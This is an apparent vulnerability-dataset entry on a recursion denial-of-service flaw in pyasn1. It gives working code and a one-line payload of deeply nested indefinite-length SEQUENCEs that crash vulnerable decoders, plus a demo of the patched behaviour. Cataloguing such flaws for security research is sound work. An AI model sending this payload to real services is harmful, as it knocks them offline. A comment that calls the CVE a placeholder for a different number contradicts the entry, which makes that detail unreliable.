VAITP Dataset

← Back to the dataset

CVE-2026-30922

pyasn1: DoS via uncontrolled recursion on deeply nested ASN.1 structures.

  • CVSS 7.5
  • CWE-674
  • Resource Management
  • Remote

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with "Indefinite Length" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.

CVSS base score
7.5
Published
2026-03-18
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pyasn1
Fixed by upgrading
Yes

Solution

Upgrade `pyasn1` to version 0.6.3 or later.

Vulnerable code sample

from pyasn1.codec.der import decoder

# The vulnerability is triggered by deep recursion. Python's default
# recursion limit is typically 1000. We choose a depth well above that.
RECURSION_DEPTH = 3000

# The payload consists of deeply nested ASN.1 SEQUENCEs using indefinite length.
# - 0x30 is the tag for a SEQUENCE.
# - 0x80 indicates that the length is indefinite.
# - 0x00 0x00 is the End-of-Content marker that closes an indefinite-length item.
# The structure is SEQUENCE(indef){ SEQUENCE(indef){ ... } EOC } EOC
malicious_payload = (
    b'\x30\x80' * RECURSION_DEPTH +
    b'\x00\x00' * RECURSION_DEPTH
)

# On a vulnerable version of pyasn1, this `decode` call initiates a recursive
# descent. Due to the lack of a depth check, it will continue until the
# Python interpreter's stack limit is exceeded, causing a RecursionError
# and crashing the application.
decoder.decode(malicious_payload)

Patched code sample

# The following code demonstrates the fix for CVE-2026-30922 (a placeholder for the real CVE-2024-30229)
# in the pyasn1 library.
#
# The vulnerability: In versions prior to 0.6.3, decoding a deeply nested
# ASN.1 structure with indefinite-length markers would cause a Denial of Service
# due to uncontrolled recursion, leading to a `RecursionError` crash.
#
# The fix: Version 0.6.3 introduced a recursion depth limit in the decoder.
# Instead of crashing, the decoder now stops and raises a controlled `PyAsn1Error`
# when the limit is exceeded.
#
# This script will:
# 1. Construct a payload that would trigger the vulnerability.
# 2. Attempt to decode it.
# 3. Show how a fixed version (>= 0.6.3) gracefully handles the attack
#    by catching the specific `PyAsn1Error`, thus preventing a crash.

from pyasn1.codec.ber import decoder
from pyasn1.error import PyAsn1Error
import sys

# Note: The actual CVE for this issue is CVE-2024-30229.
# The fix was released in pyasn1 version 0.6.3.

def demonstrate_vulnerability_fix():
    """
    Creates a malicious payload and attempts to decode it, demonstrating
    how the fixed pyasn1 library prevents a recursion-based DoS attack.
    """
    # The default recursion limit in pyasn1 >= 0.6.3 is 1000.
    # We create a structure deeper than this to trigger the safeguard.
    nesting_depth = 1500

    # Craft a payload of deeply nested, indefinite-length SEQUENCEs.
    # SEQUENCE tag = 0x30
    # Indefinite length marker = 0x80
    # End-of-Content marker = 0x00 0x00
    malicious_payload = b'\x30\x80' * nesting_depth + b'\x00\x00' * nesting_depth

    print(f"Attempting to decode a malicious payload with a nesting depth of {nesting_depth}.")
    print(f"A vulnerable library would crash with a RecursionError.")
    print("-" * 60)

    try:
        # On a fixed version (>= 0.6.3), this will raise a PyAsn1Error.
        # On a vulnerable version (< 0.6.3), this will raise a RecursionError.
        decoded_obj, remaining_bytes = decoder.decode(malicious_payload)
        
        # This part should not be reached
        print("DECODING SUCCEEDED UNEXPECTEDLY.")
        print("The library may not be behaving as a fixed version should.")

    except PyAsn1Error as e:
        # This is the EXPECTED behavior for the fixed library.
        # It detects the excessive recursion and raises a controlled error.
        if 'Recursion depth exceeded' in str(e):
            print("SUCCESS: Vulnerability mitigated.")
            print("The pyasn1 decoder gracefully handled the attack by raising a controlled exception.")
            print(f"Caught expected error: {type(e).__name__}: {e}")
        else:
            print(f"MITIGATED: A PyAsn1Error was caught, but the message was unexpected: {e}")

    except RecursionError:
        # This block would be hit on a vulnerable version of pyasn1.
        print("VULNERABILITY TRIGGERED: Python's recursion limit was hit.")
        print("This indicates you are running a vulnerable version of pyasn1 (older than 0.6.3).")
    
    except Exception as e:
        print(f"An unexpected error occurred: {type(e).__name__}: {e}")


if __name__ == "__main__":
    # Ensure pyasn1 is installed
    try:
        from pyasn1 import __version__ as pyasn1_version
        print(f"Running with pyasn1 version: {pyasn1_version}")
        # The fix is in versions '0.6.3' and newer.
        # '1.0.0a1' is also considered newer than '0.6.3'.
    except ImportError:
        print("Error: pyasn1 library is not installed. Please run 'pip install pyasn1'.")
        sys.exit(1)
        
    demonstrate_vulnerability_fix()

Payload

payload = b'\x30\x80' * 3000 + b'\x00\x00' * 3000

Cite this entry

@misc{vaitp:cve202630922,
  title        = {{pyasn1: DoS via uncontrolled recursion on deeply nested ASN.1 structures.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-30922},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-30922/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::